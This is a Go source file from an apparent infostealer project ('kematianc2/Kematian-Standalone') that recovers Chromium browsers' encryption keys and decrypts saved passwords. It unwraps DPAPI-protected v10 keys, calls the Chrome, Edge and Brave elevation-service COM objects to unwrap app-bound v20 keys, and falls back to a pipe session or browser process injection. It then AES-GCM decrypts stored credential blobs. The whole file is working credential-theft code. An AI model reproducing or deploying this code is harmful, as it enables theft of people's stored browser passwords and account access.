Files
kematianc2/Kematian-Standalone/native/recovery/crypto/crypto_windows.go
T
2026-08-27 11:23:01 -06:00

373 lines
10 KiB
Go

//go:build windows
package crypto
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"encoding/json"
"fmt"
"os"
"syscall"
"unsafe"
"recovery/recovery/browser"
"recovery/recovery/platform"
"recovery/recovery/types"
"golang.org/x/sys/windows"
)
var (
modCrypt32 = windows.NewLazySystemDLL("crypt32.dll")
procCryptUnprotectData = modCrypt32.NewProc("CryptUnprotectData")
)
type dataBlob struct {
cbData uint32
pbData *byte
}
func CryptUnprotectData(in []byte) ([]byte, error) {
var inBlob, outBlob dataBlob
inBlob.cbData = uint32(len(in))
if len(in) > 0 {
inBlob.pbData = &in[0]
}
r, _, err := procCryptUnprotectData.Call(
uintptr(unsafe.Pointer(&inBlob)),
0, 0, 0, 0, 0,
uintptr(unsafe.Pointer(&outBlob)),
)
if r == 0 {
return nil, fmt.Errorf("CryptUnprotectData: %w", err)
}
defer windows.LocalFree(windows.Handle(uintptr(unsafe.Pointer(outBlob.pbData))))
out := make([]byte, outBlob.cbData)
for i := range out {
out[i] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(outBlob.pbData)) + uintptr(i)))
}
return out, nil
}
var (
clsidChromeElevator = windows.GUID{
Data1: 0x708860E0, Data2: 0xF641, Data3: 0x4611,
Data4: [8]byte{0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B},
}
iidChromeElevatorV2 = windows.GUID{
Data1: 0x1BF5208B, Data2: 0x295F, Data3: 0x4992,
Data4: [8]byte{0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38},
}
iidChromeElevatorV1 = windows.GUID{
Data1: 0x463ABECF, Data2: 0x410D, Data3: 0x407F,
Data4: [8]byte{0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8},
}
clsidEdgeElevator = windows.GUID{
Data1: 0x1FCBE96C, Data2: 0x1697, Data3: 0x43AF,
Data4: [8]byte{0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67},
}
iidEdgeElevator = windows.GUID{
Data1: 0xC9C2B807, Data2: 0x7731, Data3: 0x4F34,
Data4: [8]byte{0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B},
}
clsidBraveElevator = windows.GUID{
Data1: 0x576B31AF, Data2: 0x6369, Data3: 0x4B6B,
Data4: [8]byte{0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B},
}
iidBraveElevatorV2 = windows.GUID{
Data1: 0x1BF5208B, Data2: 0x295F, Data3: 0x4992,
Data4: [8]byte{0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38},
}
iidBraveElevatorV1 = windows.GUID{
Data1: 0xF396861E, Data2: 0x0C8E, Data3: 0x4C71,
Data4: [8]byte{0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9},
}
)
func safeV20KeyViaCOM(cfg types.BrowserConfig, encBlob []byte) (key []byte, err error) {
defer func() {
if r := recover(); r != nil {
err = fmt.Errorf("COM panic: %v", r)
}
}()
return tryV20KeyViaCOM(cfg, encBlob)
}
func tryV20KeyViaCOM(cfg types.BrowserConfig, encBlob []byte) ([]byte, error) {
hr := coInitializeEx()
if hr != 0 {
return nil, fmt.Errorf("CoInitializeEx: 0x%08x", hr)
}
defer coUninitialize()
clsid := clsidChromeElevator
iid := iidChromeElevatorV2
if cfg.Name == "Edge" {
clsid = clsidEdgeElevator
iid = iidEdgeElevator
} else if cfg.Name == "Brave" {
clsid = clsidBraveElevator
iid = iidBraveElevatorV2
}
var unknown *IUnknown
hr = coCreateInstance(&clsid, nil, 4, &iid, (*unsafe.Pointer)(unsafe.Pointer(&unknown)))
if hr != 0 && cfg.Name == "Chrome" {
hr = coCreateInstance(&clsid, nil, 4, &iidChromeElevatorV1, (*unsafe.Pointer)(unsafe.Pointer(&unknown)))
}
if hr != 0 && cfg.Name == "Brave" {
hr = coCreateInstance(&clsid, nil, 4, &iidBraveElevatorV1, (*unsafe.Pointer)(unsafe.Pointer(&unknown)))
}
if hr != 0 {
return nil, fmt.Errorf("CoCreateInstance: 0x%08x", hr)
}
defer unknown.Release()
hr = coSetProxyBlanket(unknown)
if hr != 0 {
logf("CoSetProxyBlanket warning: 0x%08x", hr)
}
bstrCipher := sysAllocStringByteLen(encBlob)
if bstrCipher == nil {
return nil, fmt.Errorf("SysAllocStringByteLen failed")
}
defer sysFreeString(bstrCipher)
var bstrPlain *uint16
var lastErr uint32
hr = callDecryptData(unknown, bstrCipher, &bstrPlain, &lastErr)
if hr != 0 || bstrPlain == nil {
return nil, fmt.Errorf("DecryptData: 0x%08x (lastError=%d)", hr, lastErr)
}
defer sysFreeString(bstrPlain)
keyLen := sysStringByteLen(bstrPlain)
if keyLen < 32 {
return nil, fmt.Errorf("decrypted key too short: %d bytes", keyLen)
}
result := make([]byte, 32)
for i := 0; i < 32; i++ {
result[i] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(bstrPlain)) + uintptr(i)))
}
return result, nil
}
func coInitializeEx() uint32 {
r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoInitializeEx").Call(0, 2)
return uint32(r)
}
func coUninitialize() {
windows.NewLazySystemDLL("ole32.dll").NewProc("CoUninitialize").Call()
}
func coCreateInstance(clsid *windows.GUID, unknown *IUnknown, clsCtx uint32, iid *windows.GUID, ppv *unsafe.Pointer) uint32 {
r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoCreateInstance").Call(
uintptr(unsafe.Pointer(clsid)),
uintptr(unsafe.Pointer(unknown)),
uintptr(clsCtx),
uintptr(unsafe.Pointer(iid)),
uintptr(unsafe.Pointer(ppv)),
)
return uint32(r)
}
func coSetProxyBlanket(unknown *IUnknown) uint32 {
r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoSetProxyBlanket").Call(
uintptr(unsafe.Pointer(unknown)),
0xFFFFFFFF, 0xFFFFFFFF, 0,
6, 4, 0, 0x400,
)
return uint32(r)
}
func sysAllocStringByteLen(b []byte) *uint16 {
if len(b) == 0 {
return nil
}
r, _, _ := windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysAllocStringByteLen").Call(
uintptr(unsafe.Pointer(&b[0])),
uintptr(len(b)),
)
return (*uint16)(unsafe.Pointer(r))
}
func sysFreeString(s *uint16) {
if s != nil {
windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysFreeString").Call(uintptr(unsafe.Pointer(s)))
}
}
func sysStringByteLen(s *uint16) int {
r, _, _ := windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysStringByteLen").Call(uintptr(unsafe.Pointer(s)))
return int(r)
}
type IUnknown struct {
vtbl *iUnknownVtbl
}
type iUnknownVtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
}
func (u *IUnknown) Release() {
syscall.SyscallN(u.vtbl.Release, uintptr(unsafe.Pointer(u)))
}
func callDecryptData(unknown *IUnknown, bstrCipher *uint16, pbstrPlain **uint16, pLastError *uint32) uint32 {
type elevatorVtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
RunRecoveryCRXElevated uintptr
EncryptData uintptr
DecryptData uintptr
}
vtbl := (*elevatorVtbl)(unsafe.Pointer(unknown.vtbl))
r, _, _ := syscall.SyscallN(vtbl.DecryptData,
uintptr(unsafe.Pointer(unknown)),
uintptr(unsafe.Pointer(bstrCipher)),
uintptr(unsafe.Pointer(pbstrPlain)),
uintptr(unsafe.Pointer(pLastError)),
)
return uint32(r)
}
func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) {
if cfg.IsFirefox {
return &types.ResolvedKeys{}, nil
}
keys := &types.ResolvedKeys{}
localStatePath := browser.LocalStatePath(cfg)
data, err := os.ReadFile(localStatePath)
if err != nil {
return nil, fmt.Errorf("read Local State: %w", err)
}
var localState map[string]interface{}
if err := json.Unmarshal(data, &localState); err != nil {
return nil, fmt.Errorf("parse Local State: %w", err)
}
osCrypt, _ := localState["os_crypt"].(map[string]interface{})
if osCrypt == nil {
return nil, fmt.Errorf("no os_crypt section in Local State")
}
if encKey, ok := osCrypt["encrypted_key"].(string); ok && encKey != "" {
decoded, err := base64.StdEncoding.DecodeString(encKey)
if err == nil && len(decoded) > 5 && string(decoded[:5]) == "DPAPI" {
v10Key, err := CryptUnprotectData(decoded[5:])
if err == nil {
keys.V10 = v10Key
logf("resolved V10 (DPAPI) key, %d bytes", len(v10Key))
} else {
logf("V10 DPAPI failed: %v", err)
}
}
}
if appBoundKey, ok := osCrypt["app_bound_encrypted_key"].(string); ok && appBoundKey != "" {
decoded, err := base64.StdEncoding.DecodeString(appBoundKey)
if err == nil && len(decoded) > 4 {
encBlob := decoded[4:]
var v20Key []byte
if platform.ActivePipeSession == nil {
err = fmt.Errorf("no active pipe session")
} else {
encB64 := base64.StdEncoding.EncodeToString(encBlob)
v20Key, err = platform.ActivePipeSession.GetV20Key(cfg.Name, encB64)
}
if err != nil {
if platform.ActivePipeSession == nil {
if cfg.Name != "Chrome" {
logf("V20 via pipe failed (%s): %v, falling back to direct COM", cfg.Name, err)
v20Key, err = safeV20KeyViaCOM(cfg, encBlob)
} else {
logf("V20 via pipe failed (Chrome): %v — COM unsafe without browser session, skipping", err)
err = fmt.Errorf("Chrome V20 requires browser session")
}
} else {
logf("V20 via pipe failed (%s): %v, trying browser-specific injection", cfg.Name, err)
v20Key, err = platform.TryV20KeyViaBrowserSession(cfg.ProcessName, cfg.Name, encBlob)
if err != nil {
logf("browser-specific injection for V20 also failed (%s): %v", cfg.Name, err)
}
}
}
if err == nil {
keys.V20 = v20Key
logf("resolved V20 (App-Bound) key for %s, %d bytes", cfg.Name, len(v20Key))
} else {
logf("V20 key unavailable for %s: %v", cfg.Name, err)
}
}
}
if keys.V10 == nil && keys.V20 == nil {
return nil, fmt.Errorf("could not resolve any master key")
}
return keys, nil
}
func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string {
if len(encrypted) == 0 {
return ""
}
var key []byte
if len(encrypted) >= 3 {
switch string(encrypted[:3]) {
case "v10", "v11":
key = v10Key
case "v20":
key = v20Key
}
}
if key == nil || len(key) == 0 {
return ""
}
if len(encrypted) < 3+12+16 {
return ""
}
nonce := encrypted[3:15]
tag := encrypted[len(encrypted)-16:]
ciphertext := encrypted[15 : len(encrypted)-16]
plaintext, err := aesGCMDecrypt(key, nonce, ciphertext, tag)
if err != nil {
return ""
}
return CleanPassword(plaintext)
}
func aesGCMDecrypt(key, nonce, ciphertext, tag []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
aesGCM, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
ctWithTag := make([]byte, len(ciphertext)+len(tag))
copy(ctWithTag, ciphertext)
copy(ctWithTag[len(ciphertext):], tag)
return aesGCM.Open(nil, nonce, ctWithTag, nil)
}